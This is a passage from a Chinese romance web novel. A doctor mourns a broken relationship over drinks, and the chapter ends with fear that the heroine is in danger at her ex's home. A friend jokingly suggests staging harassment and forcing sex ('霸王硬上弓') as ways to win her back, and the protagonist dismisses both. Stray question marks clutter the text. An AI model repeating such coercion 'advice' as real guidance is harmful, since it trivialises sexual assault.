忽然,一段熟悉的音乐响起,将那个画面定格在了那一秒。 音乐声音越来越大,谢一菲终于清醒过来,这才?意识到刚才?经历的一切不过是一场梦,还是一场关于陈年往事的梦。 她下意识抚了抚心 口。虽然是梦,可那痛感?却?那么清晰。 睡着前,手机被她随手放在了旁边的茶几上?,此时还在响个不停。 这么晚了谁会?找她?她拿起来看了一眼?来电,号码是一个来自南京的座机。 她接通,连“喂”了两声,但对?方始终不说话,就当她以为是线路不好的时候,她又似乎听到了对?面人的呼吸声。 她有时候觉得秦铮很陌生,可有的时候又觉得他熟悉得可怕。就是那似有若无的一声,心里?的那条线路像是突然连通了,她才?刚刚梦到他,他就打电话过来了。 可他怎么会?在南京,还大半夜给她打电话?是突然触景伤情想说点什么却?一时不知从何说起吗?可他怎么会?觉得她愿意和他聊那些??他没用手机打给她,多半也?是猜到她不会?在非工作时间接他电话了吧。 她好不容易鼓起勇气往前走了,何必还要回头看呢? 想到这里?,她默默挂断了来电。 但在电话挂断的前一秒,她似乎听到他叫了声“一菲”。 手机很快息了屏,他没有再打过来。 她在黑暗中呆坐了一会?儿,又想起宋良的那番话:“很多医生都很害怕面对?去?世患者的家属,他也?不例外,而且这一次换成了你?,他很自责,也?很心疼。所以他不知道该怎么面对?你?。而且因为你?的缘故,你?师母对?他有很重?要的意义,她老人家去?世了,他每天都陷在自我怀疑里?……我只能说这些?,还有一些?事,我觉得他自己和你?说比较好。” 她理解师母的离开对?他的打击,也?理解他作为医生在这时面对?患者家属的为难。可是,无法面对?就不面对?了吗?她毕竟不只是他的患者家属,一次治愈失败带给医生的痛苦,难道会?比亲如母亲的人的离世带给她的痛苦还大吗?这是她无法理解的。 说到底,还是她对?他而言并没有那么重?要,让他一而再再而三忽略她的感?受,让她在失去?师母后,还要感?受他的若即若离。 长久的亲密关系几乎让她忘记了他最初对?他们这段关系的定位,不过就是“玩玩”罢了。 是啊,他从来都没许诺她什么,是她不自量力与虎谋皮,是她不长记性重?蹈覆辙,是她痴心妄想地希冀着这一次或许有不一样?的结果。 她腻了,累了,更是怕了。 第80章 第 80 章 “强制爱听过没?”…… 宋良知?道, 秦铮从南京回来心情?一定?好?不到哪去,就?像上一次和上上次也是这样。 担心他一个人闷出毛病,一下班, 宋良就?去他办公室门口堵他,拉着他出去喝酒。 秦铮却有点犹豫。 谢一菲那个项目的二期试验结束一个多月了,但是今天上午研究中心那边突然说试验文件还没闭环,需要补一份报告, 还需要试验相关的负责人在?上面签字,最后由院方将那份报告归档。 那份报告秦铮明德那有现成的,现在?只需要他们?打印出来, 找相关人员补个签字就?行,工作量不算大。 一个小时前, 明德那边的人打电话给他,说报告已经在?谢一菲办公桌上了, 只是因为谢一菲在?上课, 明德的人又临时被安排了其他工作着急回去处理, 所以就?和谢一菲协商,由她签完送去医院。 然后就?在?几分钟前,他收到了她的微信, 说她晚点会来送报告,还很贴心地说他不用特意等她,她可以找其他人代为转交。 秦铮看了眼时间, 她应该早就?下课了,特意等到他下班以后才来, 不就?是不想见他吗?那又何?必答应明德那人。 宋良还在?催促:“走不走啊?再不走出门该堵车了。” 秦铮叫来何?婷婷:“你联系一下谢老师,她手上有份报告,可能一会儿送来, 你帮我先收着,明早等我签完字送去研究中心给他们?归档。” 何?婷婷点点头,转念又想起什么:“不是,您不等谢老师了?” 秦铮脱掉白大褂:“你也不用等太?久,她要是今天早来不了,就?明天吧。” 何?婷婷:“我不是这个意思,我的意思是……” 秦铮没听何?婷婷说下去,反而催起在?发呆的宋良:“你走不走?” 宋良回过?神来应了一声。 离开医院,两人商量着去哪。 宋良提议去初涩,秦铮直接拒绝了:“换个地方。” 宋良想起秦铮和何?婷婷刚才的对话,揶揄他说:“谢老师一会儿去医院送材料,那就?说明她今晚肯定?不会去初涩,你怂什么?难不成是怕触景生情?啊?” 秦铮想到那通被默默挂断的电话,心里堵得慌。事实上,只要想到和谢一菲有关的一切,他都觉得很不痛快。 宋良打量着他的脸色:“我觉得这回我应该没猜错。” 秦铮开着车,心不在?焉地问:“猜什么?” 宋良:“你,放不下谢老师。” 秦铮:“……” 放不下吗?应该是放不下吧,要放下早放下了。 他曾经以为自己放下了她,但其实,他只是把她和那一年所有的糟心事一起扔进?盒子里上了锁,再把那盒子束之高?阁。他以为这样就?可以把逝去和失去的人永远留在?过?去,直到有一天,她再次出现在?他的面前,他才意识到,那个盒子和里面的那团过?往一直在?,不是他不去回头看就?没有发生过?。 宋良一脸不屑:“你可别不……” “是啊。”秦铮直接打断他。 宋良愣了愣,他以为自己听错了,刚才那句“你可别不承认”的“承认”两个字还没来得及说出口,一向嘴比金刚石还硬的秦医生竟然主动承认了! 秦铮扫他一眼:“你这什么表情??放不下一个人很丢人吗?” 宋良回过?神来,夸张地笑了两声:“哎呦喂,有生之年,能让我看到你栽在?女人手里可真稀罕!” 秦铮默不作声,任由好?友嘲笑,心里想的却是,早栽了。 笑过?之后,宋良叹了口气?:“你们?俩啊,就?是一个比一个想得多,但凡有个傻的都不至于像现在?这样。” 秦铮犹豫了一下问:“怎么说?” 宋良:“男女之间那点事其实很简单,男人对一个女孩子的喜欢可能从你想睡她开始。什么时候发展到所谓的爱呢?就?是你发现你睡不够。你现在?肯定?就?是这个状态,所以你对谢老师那基本就?是爱了。” 秦铮:“……” 宋良:“从女人的角度看呢,其实也差不多。张爱玲不是说过?吗,阴到是通往女人心灵的通道。她愿意给你睡,就?是接纳你,也是不排斥和你进?一步发展的意思。她接纳了你那么多次,你想想,那不是爱是什么?” 秦铮:“……” 宋良:“啧!还不明白啊?这样吧,一会儿你好?好?跟我说说你俩之间的事,我帮你分析分析。” 秦铮:“我谢谢你,免了吧。” 宋良委屈巴巴:“我说这就是你小家子气?了,我真不是八卦,我是真替你俩着急,想帮你排忧解难啊!” 前面就?是小吃一条街,秦铮记得这里有家烧烤店不错,读书时经常和舍友一起来。 他找了个路边的车位停好?车,催促宋良下车:“别废话了,再晚估计得等位。” 宋良推门下车,还不忘骂骂咧咧:“我对你这么掏心掏肺的,你还这么防着我,太?伤我心了啊……” 这一天的晚霞很美,是绚丽的橙红色,夕阳余晖铺洒在?街头巷尾,让人感受到夏天是真的来了。 秦铮选的那家烧烤店店面不大,却是多年的老店,他们?到的时候也只剩下户外?的几张空桌子了,秦铮随意挑了一张坐下,点好?菜的时候周围的几张桌也很快坐满了人。被周遭热闹的人声包裹着,他也感到了久 违的放松。 他看着街灯依次亮起,看着夕阳一点点西?沉。当夜色将最后一丝晚霞吞没时,他们?已经喝了不少了。 秦铮很少和别人聊自己的过?去,更不会和人聊他和谢一菲的事,但架不住宋良穷追猛打,加上喝了酒,宋良问的多了,他也会应付两句。 宋良从他的只言片语中拼凑出两人的关系,先是震惊于他们?的缘分,又为两人现在?的处境感到唏嘘。 “我说秦医生,哥们?儿今天真服了,你长这么一张嘴还能惹这么多桃花也实属不容易,你竟然对喜欢的姑娘说咱俩就?玩玩?” 秦铮:“……” “正?常人是明明只想走个肾,但表现得很走心。你老人家刚好?相反,明明都想上人家户口本了,却表现得只想走个肾,活该你坐这喝闷酒!” 秦铮瞥他一眼:“骂挺过?瘾是吧?” 宋良被他这么一看,气?势不由得就?矮了一截:“我这不是替你着急吗?!” 宋良叹了口气?:“其实哥们?儿也能理解你,无非就?是当初被人甩了,心里有怨气?呗,所以不愿意做那个主动回头的人,好?像谁先回头谁就?输了。但感情?里哪有什么谁胜谁负?” 秦铮回想起和谢一菲的重逢,他完全没想到有生之年还能再见到她,更没想到她会和秦一鸣在?一起。 那时候,他也不确定?自己对她是什么样的感情?,肯定?有对当年的怨,但毕竟他们?已经分开这么多年了,什么样的感情?都该淡了。可是她好?像总是有牵动他情?绪的能力,他看不得她被人欺负,看不得以前在?他面前那么恣意鲜活的女孩在?别人面前唯唯诺诺。他们?重逢后的每一次接触,她都让他久久无法平静。而且他发觉,关于那个夏天的所有记忆竟然可以那么清晰。对比起来,这十年的时间就?像一个真空的黑匣子,好?像存在?过?,又好?像没有存在?过?。 宋良继续发表他的爱情?理论:“感情?里就?算真有胜负,那也是谁得偿所愿谁胜出。就?比如?你现在?放不下人家,那不管你用什么手段,最后只要你能把人留在?身边,那就?是你赢了。而她愿意留在?你身边,那你们?就?是双赢。” 晚风带来邻桌人的笑闹声,那是一群大学生,有几对看着像情?侣,他们?有说有笑那么开心。这大概就?是两情?相悦的样子吧。 秦铮喝了口酒:“你也说了,谁得偿所愿谁胜出。她想走,我放她走了,她赢了。” 当年的他们?或许是两败俱伤,但这一次输的人似乎只有他一个。 宋良:“她提分手就?是她想走吗?你这事让我明白一个道理,再聪明的人在?面对感情?时也会当局者迷。其实你去南京那晚我见过?谢老师,还聊了几句。” 宋良三天两头往初涩跑,他见过?谢一菲,秦铮一点都不意外?。 秦铮随口问道:“聊什么了?” “就?随便聊了几句,但我能感觉出来,她也放不下你。” 秦铮为哂。 宋良极了:“你别不信!在?感情?这方面上,兄弟我比你更有钻研精神,也更信奉实践出真知?,所以你要是不想抱憾终身,这回真得听我的,保证你能追回谢老师。” 或许是酒喝多了,也或许是那个“抱憾终身”的假设太?过?可怕,秦铮竟然有点想听听宋良能有什么办法,别又是什么馊主意。 秦铮:“行,你说,我听着。” 宋良来了精神:“方案一,回头我找几个兄弟去初涩,假装骚扰一下谢老师,然后你看准时机,来个英雄救美……” 秦铮:“……” 宋良:“你这什么表情??我跟你说,姑娘没有不爱这个剧情?的,到时候你再为她负点伤,她对你就?是又崇拜又心疼,然后你们?就?顺其自然,鸳梦重温,没有睡一觉解决不了的事,如?果一觉不行,那就?两觉……” 秦铮直接打断他:“方案二呢?” 宋良为难:“迂回的你不喜欢?那就?来点直接的。” “有多直接?” “强制爱听过?没?霸王硬上弓!直接上!” 秦铮:“……” 果然都很馊! 秦铮想自己一定?是喝多了才让宋良给他支招。 正?在?这时,他放在?桌上的手机忽然响了。 看到来电人是何?婷婷,他刻意让自己等了一会儿才接通。 他本以为,何?婷婷打电话来只是告诉他一声,报告已经从谢一菲那拿到了。 没想到电话一接通,就?传来何?婷婷焦急的声音:“老板,我联系不上谢老师了,我不知?道她是不是出了什么事。” 一听说谢一菲出事,秦铮的酒立刻醒了一半。 “你慢慢说,怎么回事?” 或许是因为担心谢一菲,何?婷婷话说得颠三倒四的,但好?在?秦铮听明白了。 秦铮一走,何?婷婷就?和谢一菲联系上了,两人本来商量好?了送报告的时间,但是中途谢一菲忽然给何?婷婷打了个电话,说她临时有事,让她多等她半小时。可是半小时后,何?婷婷就?联系不上谢一菲了。 二期试验期间,何?婷婷和谢一菲的学生关系都不错,她以为是学校有什么事牵绊住了谢一菲,就?找了她一个学生打听情?况。结果那学生说谢一菲早就?离开试验室了,不过?她临走前接到了秦一鸣的电话,似乎是秦一鸣让她去他家里拿她以前的什么东西?。 何?婷婷:“老板你说,分手这么久了还叫人去家里拿东西?,这不就?是明摆着别有用心吗?谢老师那个前男友之前就?总缠着她,而且前不久我听说他因为网上那些事被学校辞退了,他别因为这个对谢老师因爱生恨吧?她现在?不接电话,我就?挺担心的,别是在?那人家里出了什么事吧?我不知?道是不是我想多了……” 秦铮没等她说完,直接起身往路边走去。